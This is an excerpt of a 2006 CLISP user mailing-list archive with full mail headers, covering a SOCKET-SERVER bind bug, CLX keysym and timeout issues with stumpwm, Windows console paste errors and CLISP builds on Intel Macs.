helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FH3Mx-0003rZ-VP for clisp-list@lists.sourceforge.net; Wed, 08 Mar 2006 10:26:43 -0800 Received: from zproxy.gmail.com ([64.233.162.202]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FH3Mw-00072c-P7 for clisp-list@lists.sourceforge.net; Wed, 08 Mar 2006 10:26:44 -0800 Received: by zproxy.gmail.com with SMTP id m22so252442nzf for ; Wed, 08 Mar 2006 10:26:41 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=TvRxwgp8Y2IpKYU02xD5hMnWYlp+6FpLA9YOIpBQM+QOBnt1U3fCMRGeExw3PAu/W4Ojhli+tsvprK514+CS/azR33gVf9V/9ZMbgUmcv+58NnEcfOcbfFi/8O7nJld9uI0hqBXe3kf3oXQKmXSNUVibdgPJfQNMuUNqSKmo9ZY= Received: by 10.64.183.16 with SMTP id g16mr542163qbf; Wed, 08 Mar 2006 10:26:41 -0800 (PST) Received: by 10.64.243.10 with HTTP; Wed, 8 Mar 2006 10:26:41 -0800 (PST) Message-ID: <3f43f78b0603081026q7df5983eo6b14bf2bac5bfc4f@mail.gmail.com> From: "Kaz Kylheku" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] SOCKET-SERVER bug (2.38) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 8 10:27:33 2006 X-Original-Date: Wed, 8 Mar 2006 10:26:41 -0800 Hi guys. It appears that the SOCKET-SERVER function is broken. If you specify an :INTERFACE parameter, it tries to create and bind two sockets. The first one is successfully set up on the correct interface, but then the second bind() fails of course (and it is attempted on 127.0.0.1). So the function raises a Lisp condition related to EADDRINUSE. This is shown on a Linux platform by doing strace clisp -x '(socket-server 8001 :interface "0.0.0.0")' If you don't have the :INTERFACE parameter, it creates and binds just one socket successfully, on 127.0.0.1:8001. Everything is cool. But add the :INTERFACE parameter and this happens: socket(PF_INET, SOCK_STREAM, IPPROTO_IP) =3D 5 setsockopt(5, SOL_SOCKET, SO_REUSEADDR, [1], 4) =3D 0 bind(5, {sa_family=3DAF_INET, sin_port=3Dhtons(8001), sin_addr=3Dinet_addr("0.0.0.0")}, 16) =3D 0 listen(5, 1) =3D 0 getsockname(5, {sa_family=3DAF_INET, sin_port=3Dhtons(8001), sin_addr=3Dinet_addr("0.0.0.0")}, [16]) =3D 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) =3D 6 setsockopt(6, SOL_SOCKET, SO_REUSEADDR, [1], 4) =3D 0 bind(6, {sa_family=3DAF_INET, sin_port=3Dhtons(8001), sin_addr=3Dinet_addr("127.0.0.1")}, 16) =3D -1 EADDRINUSE (Address already in use) Cheers ... From hocwp@free.fr Thu Mar 09 01:16:18 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FHHFq-0008TV-L0 for clisp-list@lists.sourceforge.net; Thu, 09 Mar 2006 01:16:18 -0800 Received: from bel60-1-82-233-56-217.fbx.proxad.net ([82.233.56.217] helo=grigri.elcforest) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FHHFo-0008CJ-40 for clisp-list@lists.sourceforge.net; Thu, 09 Mar 2006 01:16:18 -0800 Received: from phil by grigri.elcforest with local (Exim 4.50) id 1FHHFf-0001es-Qw for clisp-list@lists.sourceforge.net; Thu, 09 Mar 2006 10:16:08 +0100 To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Organization: GNU/Linux Home From: Philippe Brochard Organisation: None Message-ID: <87mzg02d2g.fsf@grigri.elcforest> User-Agent: Gnus/5.1007 (Gnus v5.10.7) Emacs/21.4 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [82.233.56.217 listed in dnsbl.sorbs.net] Subject: [clisp-list] CLX and timeout in process-event. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 9 01:17:01 2006 X-Original-Date: Thu, 09 Mar 2006 10:16:07 +0100 Hi everybody, I'm trying to use stumpwm[1] with clisp (2.38) and the mit-clx. All works really fine except the timeout in the main loop in functions process-event and event-listen. I've tried with the clx demo. I've add a timeout in the pop-up function (in the event-case) in menu.lisp and it seems to not be handle properly where cmucl and sbcl works as expected. How can I handle this timeout with clisp ? Another question, I have tried to use the new-clx for the same purpose and it complain about character->keysyms that is not defined. How can I define this function ? I've had a look at the same function in the mit-clx, but I haven't find a way to use it in new-clx. Thanks a lot for your great work, Philippe [1] http://www.nongnu.org/stumpwm/ -- Philippe Brochard http://hocwp.free.fr -=-= http://www.gnu.org/home.fr.html =-=- From lisp-clisp-list@m.gmane.org Thu Mar 09 07:04:08 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FHMgR-0005gz-JS for clisp-list@lists.sourceforge.net; Thu, 09 Mar 2006 07:04:07 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FHMgP-0002cz-9N for clisp-list@lists.sourceforge.net; Thu, 09 Mar 2006 07:04:07 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FHMeZ-0003cE-1l for clisp-list@lists.sourceforge.net; Thu, 09 Mar 2006 16:02:11 +0100 Received: from c83-248-123-63.bredband.comhem.se ([83.248.123.63]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 09 Mar 2006 16:02:11 +0100 Received: from mange by c83-248-123-63.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 09 Mar 2006 16:02:11 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 43 Message-ID: <871wxby85x.fsf@freemail.hu> References: <87mzg02d2g.fsf@grigri.elcforest> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-123-63.bredband.comhem.se Mail-Copies-To: never Jabber-Id: legoscia@jabber.cd.chalmers.se User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:KZxMxJv3fUewqn4+CJJvzb8ZccI= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLX and timeout in process-event. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 9 07:05:02 2006 X-Original-Date: Thu, 09 Mar 2006 16:00:58 +0100 Philippe Brochard writes: > Another question, I have tried to use the new-clx for the same purpose > and it complain about character->keysyms that is not defined. > How can I define this function ? > I've had a look at the same function in the mit-clx, but I haven't find > a way to use it in new-clx. This estimation seems good enough for stumpwm: (defun char->keysym (ch) "Convert a char to a keysym" ;; XLIB:CHARACTER->KEYSYMS should probably be implemented in NEW-CLX ;; some day. Or just copied from MIT-CLX or some other CLX ;; implementation (see translate.lisp and keysyms.lisp). For now, ;; we do like this. It suffices for modifiers and ASCII symbols. #-clisp (first (xlib:character->keysyms ch)) #+clisp (case ch (:character-set-switch #xFF7E) (:left-shift #xFFE1) (:right-shift #xFFE2) (:left-control #xFFE3) (:right-control #xFFE4) (:caps-lock #xFFE5) (:shift-lock #xFFE6) (:left-meta #xFFE7) (:right-meta #xFFE8) (:left-alt #xFFE9) (:right-alt #xFFEA) (:left-super #xFFEB) (:right-super #xFFEC) (:left-hyper #xFFED) (:right-hyper #xFFEE) (t (etypecase ch (character ;; Latin-1 characters have their own value as keysym (if (< 31 (char-code ch) 256) (char-code ch) (error "Don't know how to get keysym from ~A" ch)))))) ) Magnus From hocwp@free.fr Thu Mar 09 14:08:08 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FHTIm-0002Sj-Er for clisp-list@lists.sourceforge.net; Thu, 09 Mar 2006 14:08:08 -0800 Received: from bel60-1-82-233-56-217.fbx.proxad.net ([82.233.56.217] helo=grigri.elcforest) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FHTIg-0007rS-CA for clisp-list@lists.sourceforge.net; Thu, 09 Mar 2006 14:08:05 -0800 Received: from phil by grigri.elcforest with local (Exim 4.50) id 1FHTIY-00028x-JA for clisp-list@lists.sourceforge.net; Thu, 09 Mar 2006 23:07:54 +0100 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLX and timeout in process-event. Mail-Copies-To: never Organization: GNU/Linux Home References: <87mzg02d2g.fsf@grigri.elcforest> <871wxby85x.fsf@freemail.hu> From: Philippe Brochard Organisation: None In-Reply-To: <871wxby85x.fsf@freemail.hu> (Magnus Henoch's message of "Thu, 09 Mar 2006 16:00:58 +0100") Message-ID: <87bqwfxoed.fsf@grigri.elcforest> User-Agent: Gnus/5.1007 (Gnus v5.10.7) Emacs/21.4 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.3 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [82.233.56.217 listed in dnsbl.sorbs.net] 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 9 14:09:02 2006 X-Original-Date: Thu, 09 Mar 2006 23:07:54 +0100 Magnus Henoch writes: > Philippe Brochard writes: > >> Another question, I have tried to use the new-clx for the same purpose >> and it complain about character->keysyms that is not defined. >> How can I define this function ? >> I've had a look at the same function in the mit-clx, but I haven't find >> a way to use it in new-clx. > > This estimation seems good enough for stumpwm: > [Snip nice working code] Ok, thanks a lot, this seems to work fine ! And the timeout is also working with new-clx: great ! But, now I have another problem: when I press the Control-t key the system break with this message: ---------------------------------------------------------------------- *** - SYSTEM::%STRUCTURE-REF: 4 is not a structure of type STUMPWM::SCREEN The following restarts are available: SKIP :R1 skip (UNWIND-PROTECT # # ...) STOP :R2 stop loading file /home/phil/local/stumpwm-cvs/stumpwm/load.lisp ABORT :R3 ABORT ---------------------------------------------------------------------- After some print inspection, it seems that the ungrab-pointer function change the screen variable. The sample code is here: ---------------------------------------------------------------------- ... (dbg "* Screen 1=~A" screen) (grab-pointer screen) (dbg "* Screen 2=~A" screen) (grab-keyboard screen) (dbg "* Screen 3=~A" screen) (let ((cmd (handle-keymap screen cmd))) ;; We've read our key(s), so we can release the keyboard. (dbg1 "* Screen 4=~A" screen) (ungrab-pointer) ; <-- problem here (dbg "* Screen 5=~A" screen) (ungrab-keyboard) ; <-- and here (dbg1 "* Screen 6=~A" screen) (when cmd (dbg "2.1.7.1:screen=~A~%" screen) (interactive-command cmd screen)))) ... ---------------------------------------------------------------------- Here is the output: ---------------------------------------------------------------------- ... DEBUG: * Screen 4= #S(SCREEN :NUMBER # :FRAME-TREE #S(FRAME :NUMBER 0 :X 0 :Y 0 :WIDTH 1024 :HEIGHT 600 :WINDOW #) :MODIFIERS NIL :FONT # :CURRENT-FRAME #S(FRAME :NUMBER 0 :X 0 :Y 0 :WIDTH 1024 :HEIGHT 600 :WINDOW #) :MAPPED-WINDOWS (# # #) :WINDOW-HASH #S(HASH-TABLE TEST FASTHASH-EQL (# . #S(HASH-TABLE TEST FASTHASH-EQL (FRAME . #S(FRAME :NUMBER 0 :X 0 :Y 0 :WIDTH 1024 :HEIGHT 600 :WINDOW #)) (NUMBER . 2))) (# . #S(HASH-TABLE TEST FASTHASH-EQL (FRAME . #S(FRAME :NUMBER 0 :X 0 :Y 0 :WIDTH 1024 :HEIGHT 600 :WINDOW #)) (NUMBER . 1))) (# . #S(HASH-TABLE TEST FASTHASH-EQL (FRAME . #S(FRAME :NUMBER 0 :X 0 :Y 0 :WIDTH 1024 :HEIGHT 600 :WINDOW #)) (NUMBER . 0)))) :MESSAGE-WINDOW # :INPUT-WINDOW # :FRAME-WINDOW # :FOCUS-WINDOW #) DEBUG: * Screen 5=# <-- Here ? DEBUG: * Screen 6=4 <-- Here ? DEBUG: 2.1.7.1:screen=4 DEBUG: 2.1.7:screen=4 DEBUG: 2.1:screen=4 DEBUG: 2:screen=4 *** - SYSTEM::%STRUCTURE-REF: 4 is not a structure of type STUMPWM::SCREEN The following restarts are available: SKIP :R1 skip (UNWIND-PROTECT # # ...) STOP :R2 stop loading file /home/phil/local/stumpwm-cvs/stumpwm/load.lisp ABORT :R3 ABORT ---------------------------------------------------------------------- The ungrab-pointer and ungrab-keyboard are defined as follow: ---------------------------------------------------------------------- (defun ungrab-pointer () "Remove the grab on the cursor and restore the cursor shape." (xlib:ungrab-pointer *display*)) (defun grab-keyboard (screen) (xlib:grab-keyboard (xlib:screen-root (screen-number screen)) :owner-p nil)) ---------------------------------------------------------------------- Is this a normal behaviour to have the screen variable switching from a screen structure to a window structure and then to 4 after ungrab-pointer and ungrab-keyboard ? Philippe -- Philippe Brochard http://hocwp.free.fr -=-= http://www.gnu.org/home.fr.html =-=- From nbalci_l@yahoo.com Sat Mar 11 12:17:08 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FIAWS-0001Qj-93 for clisp-list@lists.sourceforge.net; Sat, 11 Mar 2006 12:17:08 -0800 Received: from web36907.mail.mud.yahoo.com ([209.191.85.75]) by mail.sourceforge.net with smtp (Exim 4.44) id 1FIAWQ-0000YU-Tq for clisp-list@lists.sourceforge.net; Sat, 11 Mar 2006 12:17:08 -0800 Received: (qmail 43829 invoked by uid 60001); 11 Mar 2006 20:17:01 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=PiFwbsGf8/32EMpZ77j6Icvg21NLp2YV24W31bbZgb7vPyTOXBHIbyxKcxHUaDiuPyCTkZB0BcZ95E0SaBJYCKzusKRO3iQn4zm3M5QuaSaS7FmX9K75FDF5makzLC3ew5BZSA6bJErtTd2G9l/+HmQIwGirIjYxkzbg7SkrRDM= ; Message-ID: <20060311201701.43827.qmail@web36907.mail.mud.yahoo.com> Received: from [149.159.1.123] by web36907.mail.mud.yahoo.com via HTTP; Sat, 11 Mar 2006 12:17:01 PST From: nusret To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="0-309946060-1142108221=:42957" Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] question on interpreter's handling of line-endings on windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 20 06:02:05 2006 X-Original-Date: Sat, 11 Mar 2006 12:17:01 -0800 (PST) --0-309946060-1142108221=:42957 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Content-Id: Content-Disposition: inline Hi, I'm just learning LISP just for fun. I downloaded and installed CLISP 2.38, on windows xp. There are a couple of points that makes life a little harder (like there is no right-click menu to copy, paste, etc.), but not a big deal. There is one thing though, which I believe is a bug, or, say an oversight on your behalf: Not being very fond of editing test on the command prompt, I define some functions in a text file. Then copy the definition, and paste it using the system menu on the left upper corner of the console window. Here what happens: If my file is saved with \n line endings, and code spans over multiple lines, everything works OK. But if the file is saved as a usual windows text file (in Notepad, say) I get strange errors. You could say "well, then save it as a unix text file", but I use the same method for a couple of different interpreters to try my code, and if I do so, comment lines creates a problem for them. this necessitates to maintain two version of each file, headache... To illustrate the problem, I attached a sample session in a text file. Please note that #\[ is read L#[ by interpreter, which is obviously a problem. If I type it on the program window, it works. Regards, Nusret __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com --0-309946060-1142108221=:42957 Content-Type: text/plain; name="problem.txt" Content-Description: 968025268-problem.txt Content-Disposition: inline; filename="problem.txt" i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2006 [1]> (set-macro-character #\[ #'open-bracket-macro-character) *** - EVAL: variable L#[ has no value The following restarts are available: USE-VALUE :R1 You may input a value to be used instead of L#[. STORE-VALUE :R2 You may input a new value for L#[. ABORT :R3 ABORT Break 1 [2]> --0-309946060-1142108221=:42957-- From andreas@yank.to Mon Mar 20 07:32:48 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FLMNE-00019P-1t for clisp-list@lists.sourceforge.net; Mon, 20 Mar 2006 07:32:48 -0800 Received: from mail2.sea5.speakeasy.net ([69.17.117.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FLMN9-0002wH-F5 for clisp-list@lists.sourceforge.net; Mon, 20 Mar 2006 07:32:45 -0800 Received: (qmail 4871 invoked from network); 20 Mar 2006 15:32:42 -0000 Received: from scires.com (HELO [10.0.103.105]) (ayank@[64.16.131.2]) (envelope-sender ) by mail2.sea5.speakeasy.net (qmail-ldap-1.03) with RC4-SHA encrypted SMTP for ; 20 Mar 2006 15:32:42 -0000 Mime-Version: 1.0 (Apple Message framework v749.3) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: clisp-list@lists.sourceforge.net From: Andreas Yankopolus X-Mailer: Apple Mail (2.749.3) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: intel macs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 20 07:33:08 2006 X-Original-Date: Mon, 20 Mar 2006 10:32:37 -0500 Dan, > Considering getting an Intel-based Macintosh, but alas I will need > Common Lisp. I have waded through somehow messy clisp builds > thanks to judicious hand-holding in the past. My questions: Can I > expect the adventure configuring and making to be very difficult? > Is somebody else already working on this one? What might be the ETA? > > Please advise. I have a MacBook Pro, and CLISP via Fink (http://fink.sf.net) currently doesn't compile on it. I tried installing the CLISP version of Lispbox (http:// www.gigamonkeys.com/book/lispbox/). It runs, but there seems to be something funny going on under the hood. I ended up downloading the SBCL version of Lispbox and replacing the PPC binaries with those from the latest x86/Darwin build (http://wing.fruitfly.org/sbcl/ sbcl-0.9.10.37-darwin-x86-binary.tar.gz). This works like a charm. SBCL will likely find its way into Fink (http://fink.sf.net) in the next few weeks. Cheers, Andreas From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 20 10:05:36 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FLOl5-0004Rm-TB for clisp-list@lists.sourceforge.net; Mon, 20 Mar 2006 10:05:35 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FLOl2-0006eI-6p for clisp-list@lists.sourceforge.net; Mon, 20 Mar 2006 10:05:35 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 20 Mar 2006 19:05:23 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 20 Mar 2006 19:05:22 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: nbalci_l@yahoo.com Subject: Re: [clisp-list] question on interpreter's handling of line-endin gs on windows MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 20 10:06:05 2006 X-Original-Date: Mon, 20 Mar 2006 19:04:55 +0100 nusret writes: >[1]> (set-macro-character > #\[ #'open-bracket-macro-character) >*** - EVAL: variable L#[ has no value This looks like another instance of the known bug: win32 console copy&paste yields errors about 'L'=20 http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D1232806&gro= up_id=3D1355&atid=3D101355 Work-around: Copy&Paste and be sure to move the mouse at the beginning = of the next line, instead of after the last character you want to copy. Another work-around *might* be for a fellow C hacker to implement in = CLISP'C part for MS-Windows a variation on UNIX's line buffered input = for the terminal. The error in MS-Windows is triggered by CLISP reading character's from = the console one after one, instead of providing a large buffer. = Unbelievable? Try it out! Also, if some kind soul want's to provide a bug report to MS, please go = ahead. I won't, because I don't feel like they'd be listening to me. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 20 10:08:52 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FLOoF-0004pR-8f for clisp-list@lists.sourceforge.net; Mon, 20 Mar 2006 10:08:51 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FLOoD-00020y-Dj for clisp-list@lists.sourceforge.net; Mon, 20 Mar 2006 10:08:51 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 20 Mar 2006 19:08:42 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 20 Mar 2006 19:08:42 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: andreas@yank.to Subject: Re: [clisp-list] Re: intel macs MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 20 10:09:09 2006 X-Original-Date: Mon, 20 Mar 2006 19:08:38 +0100 Andreas Yankopolus writes: >I have a MacBook Pro, and CLISP via Fink (http://fink.sf.net) >currently doesn't compile on it. > >I tried installing the CLISP version of Lispbox (http:// >www.gigamonkeys.com/book/lispbox/). So that means that some person got clisp to compile for the intel Mac? Or is that, once again, some "fat binary" emulation of another processor? > It runs, but there seems to be >something funny going on under the hood. What do you mean? Regards, Jorg Hohle. From andreas@yank.to Mon Mar 20 10:52:11 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FLPU9-0001vA-Nq for clisp-list@lists.sourceforge.net; Mon, 20 Mar 2006 10:52:09 -0800 Received: from mail7.sea5.speakeasy.net ([69.17.117.9]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FLPU8-0005lm-GC for clisp-list@lists.sourceforge.net; Mon, 20 Mar 2006 10:52:09 -0800 Received: (qmail 25747 invoked from network); 20 Mar 2006 18:52:01 -0000 Received: from scires.com (HELO [10.0.103.105]) (ayank@[64.16.131.2]) (envelope-sender ) by mail7.sea5.speakeasy.net (qmail-ldap-1.03) with RC4-SHA encrypted SMTP for ; 20 Mar 2006 18:52:01 -0000 Mime-Version: 1.0 (Apple Message framework v749.3) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <7956D1CF-8017-49D1-AD60-41BCE7E961B7@yank.to> Content-Transfer-Encoding: 7bit From: Andreas Yankopolus Subject: Re: [clisp-list] Re: intel macs To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.749.3) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 20 10:53:04 2006 X-Original-Date: Mon, 20 Mar 2006 13:51:57 -0500 Jorg, > So that means that some person got clisp to compile for the intel > Mac? Or is that, once again, some "fat binary" emulation of > another processor? It was the PPC version running on top of Rosetta, the PPC dynamic translation layer. > What do you mean? CLISP issued various complaints on startup and a program that worked fine on my iBook suddenly started giving errors. Cheers, Andreas From nbalci_l@yahoo.com Mon Mar 20 10:24:02 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FLP2v-0006ry-1n for clisp-list@lists.sourceforge.net; Mon, 20 Mar 2006 10:24:01 -0800 Received: from web36914.mail.mud.yahoo.com ([209.191.85.82]) by mail.sourceforge.net with smtp (Exim 4.44) id 1FLP2t-0003KA-Jq for clisp-list@lists.sourceforge.net; Mon, 20 Mar 2006 10:24:01 -0800 Received: (qmail 59354 invoked by uid 60001); 20 Mar 2006 18:23:53 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; 